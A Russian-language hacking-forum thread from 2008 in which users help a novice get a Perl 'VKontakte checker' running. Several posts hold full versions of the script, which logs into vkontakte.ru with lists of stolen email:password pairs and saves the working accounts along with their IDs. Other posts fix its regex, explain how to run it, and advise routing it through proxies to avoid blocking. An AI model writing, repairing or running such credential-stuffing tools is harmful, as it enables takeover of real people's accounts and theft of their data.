Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   PHP, PERL, MySQL, JavaScript (https://forum.antichat.xyz/forumdisplay.php?f=37)
-   -   Помогите запустить VKontakte checker на PERL. (https://forum.antichat.xyz/showthread.php?t=74747)

MaTpOc 23.06.2008 21:59
Помогите запустить VKontakte checker на PERL.
 
Вот сам скрипт:
Код:
#!/usr/bin/perl
# VKONTAKTE cheker
# Original author Xszz.AoH
# Modified by svesve
# tnx to a4at members who help me with perl ;-)
use strict;
use LWP::UserAgent;

use HTTP::Cookies;

open (FILE , '<logs.txt');
my @f = <FILE>;
chomp @f;
my $ua = LWP::UserAgent->new;
my $cookies = HTTP::Cookies->new(agent => 'Opera/9.50 (X11; Linux x86_64; U; ru)');
$ua->cookie_jar($cookies);
open (OUT , '>>IDS_rate.txt');
while (@f)
{
my ($mail, $pass) = split(/:/, shift(@f));

my $req = $ua->post('http://vkontakte.ru/login.php', { email => $mail, pass => $pass } )->as_string;
my $suc = $req =~ /302 Found/;
if ($suc )
{
$req = $ua->get('http://vkontakte.ru/index.php')->as_string;
my $id = $req =~ /(a href="http:\/\/vkontakte.ru\/id)(\d+)("&gt/;
my $idd=$2;
$req = $ua->get('http://vkontakte.ru/rate.php')->as_string;
my $res = $1 if $req=~m/width:100px">(.{1,4})</;
print "[rate=$res]:[id=$idd]:$mail:$pass\n";
if (!$idd)
{
print "Account deleted \n";
}
print OUT $res.":".$idd.":".$mail.":".$pass."\n";
}
else{print"[-]bad login or password \n";}
}
close OUT;
close FILE;
Вроде все делаю так как надо, но когда нажимаю на скрипт он тут же закрывается, помогите плиз нубу!

NeOz 23.06.2008 22:00
Запусти через cmd, посмотри что пишет

MaTpOc 23.06.2008 22:00
Цитата:
Сообщение от NeOz
Запусти через cmd, посмотри что пишет
это как?

MaTpOc 23.06.2008 22:01
поподробней плиз и еси не трудно объясните плиз по понятней)

NeOz 23.06.2008 22:01
пуск -> выполнить -> cmd
и там укажи путь до твоего .pl файла

MaTpOc 23.06.2008 22:05
Цитата:
Сообщение от NeOz
пуск -> выполнить -> cmd
и там укажи путь до твоего .pl файла
я прописал а там пишет тип не является командой....

[Dezzter] 23.06.2008 22:06
Ты Perl установил?

MaTpOc 23.06.2008 22:08
Цитата:
Сообщение от [Dezzter]
Ты Perl установил?
да, ActivePerl установил, у меня др скрипты на перле пашут, а этот открывается и тут же закрывается((((

[Dezzter] 23.06.2008 22:10
епт, ты его через cmd открывай, не помню точно, но вроде так perl C:\Perl\bin Путь до скрипта, я просто с пёрлом пару раз дело имел, точно не помню как, ну пробуй

MaTpOc 23.06.2008 22:13
Цитата:
Сообщение от [Dezzter]
епт, ты его через cmd открывай, не помню точно, но вроде так perl C:\Perl\bin Путь до скрипта, я просто с пёрлом пару раз дело имел, точно не помню как, ну пробуй
написал так: C:\Perl\bin\perl.exe нажал ентер и ничего не появилось

parasha 23.06.2008 22:13
ты скрипту пaраметры задал?

MaTpOc 23.06.2008 22:14
Цитата:
Сообщение от parasha
ты скрипту пaраметры задал?
какие параметры???

parasha 23.06.2008 22:19
ну че там c:\s.pl c:\spisok.txt c:\good.txt

MaTpOc 23.06.2008 22:21
Посмотрите, может ошибка в скрипте???

svesve 23.06.2008 22:33
ПОВТОРЯЮ ЕЩЕ РАЗ крипт пашет
использование c:\perl\bin\perl.exe check.pl

предварительно в папке C:\perl\bin\ должен быть файл logs.txt с мылом:пасс

MaTpOc 23.06.2008 23:00
http://i011.radikal.ru/0806/32/19f6fa87ed43.jpg

QuoFX 24.06.2008 15:44
в 27 строчке хватит и этого:
Код:
my $id = $req =~ /(a href="http:\/\/vkontakte.ru\/id)(\d+)/;
("&gt там вообще не нужно

он id сцапает и так. а при оригинале еррор там лезет)

svesve 24.06.2008 15:57
вечером выложу переделанную немного версиюю а то в этой слишком много запросов )
точнее можно не лазя на рейт пхп снять рейтинг с главной

Vid0k 24.06.2008 16:01
пуск->выполнить->cmd
cd C:\perl\bin
perl cheker.pl 123456 log.txt
где 123456 и log.txt параметры для скрипта

comeoff 24.06.2008 16:06
На ПХП можно как то прочекать существование анкеты с записью id существующей анкеты в файл? Очень пригодился бы такой скрипт, только на ПХП.
Заранее СПС за ссылки/советы/работы.

MaTpOc 24.06.2008 18:00
Все проблема решена, всем спасибо!
Все-таки была ошибка в самом скрипте! ;)

QuoFX 24.06.2008 18:48
Это либо при копировании сюда глюкнуло.
Либо защита от детишек.
хз)
но там регуляру можно и сократить как я написал, он и так все цифры с Id возьмет =)

Vid0k 24.06.2008 19:01
подскажите лучше чекер чтоб кол-во друзей выводил а то ручками долго)

svesve 24.06.2008 20:02
Чуток переделанный код
Код:
#!/usr/bin/perl
# VKONTAKTE    cheker
# Original author Xszz.AoH
# Modified by svesve
# tnx to a4at members who help me with perl ;-)
use strict;
use LWP::UserAgent;

use HTTP::Cookies;

open (FILE , '<logs.txt');
my @f = <FILE>;
chomp @f;
my $ua = LWP::UserAgent->new;
my $cookies = HTTP::Cookies->new(agent => 'Opera/9.50 (X11; Linux x86_64; U; ru)');
$ua->cookie_jar($cookies);
open (OUT , '>>IDS_rate.txt');
while (@f)
{
my ($mail, $pass) = split(/:/, shift(@f));

my $req = $ua->post('http://vkontakte.ru/login.php', { email => $mail, pass => $pass } )->as_string;
my $suc = $req =~ /302 Found/;
if ($suc )
{
$req = $ua->get('http://vkontakte.ru/index.php')->as_string;
my $id = $req =~ /(a href="http:\/\/vkontakte.ru\/id)(\d+)/;
my $idd=$2;
my $res = $1 if $req=~m/<div id="percent">(.{1,4})</;
print "[rate=$res]:[id=$idd]:$mail:$pass\n";
if (!$idd)
{
print "Account deleted \n";
}
print OUT $res.":".$idd.":".$mail.":".$pass."\n";
}
else{print"[-]bad login or password \n";}
}
close OUT;
close FILE;

MaTpOc 24.06.2008 20:19
Вот скрипт, я его немного сделал под себя:
Код:
#!/usr/bin/perl
# VKONTAKTE cheker
# Original author Xszz.AoH
# Modified by svesve
# tnx to a4at members who help me with perl
use strict;
use LWP::UserAgent;

use HTTP::Cookies;

open (FILE , '<logs.txt');
my @f = <FILE>;
chomp @f;
my $ua = LWP::UserAgent->new;
my $cookies = HTTP::Cookies->new(agent => 'Opera/9.50 (X11; Linux x86_64; U; ru)');
$ua->cookie_jar($cookies);
open (OUT , '>>IDS_rate.txt');
while (@f)
{
my ($mail, $pass) = split(/ : /, shift(@f));

my $req = $ua->post('http://vkontakte.ru/login.php', { email => $mail, pass => $pass } )->as_string;
my $suc = $req =~ /302 Found/;
if ($suc )
{
$req = $ua->get('http://vkontakte.ru/index.php')->as_string;
my $id = $req =~ /(a href="http:\/\/vkontakte.ru\/id)(\d+)/;
my $idd=$2;
$req = $ua->get('http://vkontakte.ru/rate.php')->as_string;
my $res = $1 if $req=~m/width:100px">(.{1,4})</;
print "[rate=$res]:[id=$idd]:$mail:$pass\n";
if (!$idd)
{
print "Account deleted \n";
}
print OUT $mail.":".$pass."\n";
}
else{print"[-]bad login or password \n";}
}
close OUT;
close FILE;
Посматрите, что нетак, а то сеня утром все было ок, а щас пишет что у всех акках пас или лог не верный, заранее спс.

AlexV 24.06.2008 20:36
А через прокси работает?

svesve 24.06.2008 22:36
запускай через sockscap или через proxifier и будет тебе счастье

MaTpOc 24.06.2008 22:51
Цитата:
Сообщение от svesve
запускай через sockscap или через proxifier и будет тебе счастье
кароче, с моим скриптом все понятно!
вобшем он странный какой-то, пишеь его он пашет опред время а потом не пшет, пишешь тоже самое пашет какое-то время а потом та же история...

Foxtrot1 25.06.2008 13:45
а собственно ТС чем этот чекер лучше чем на php... разве скорость выше?


Время: 21:24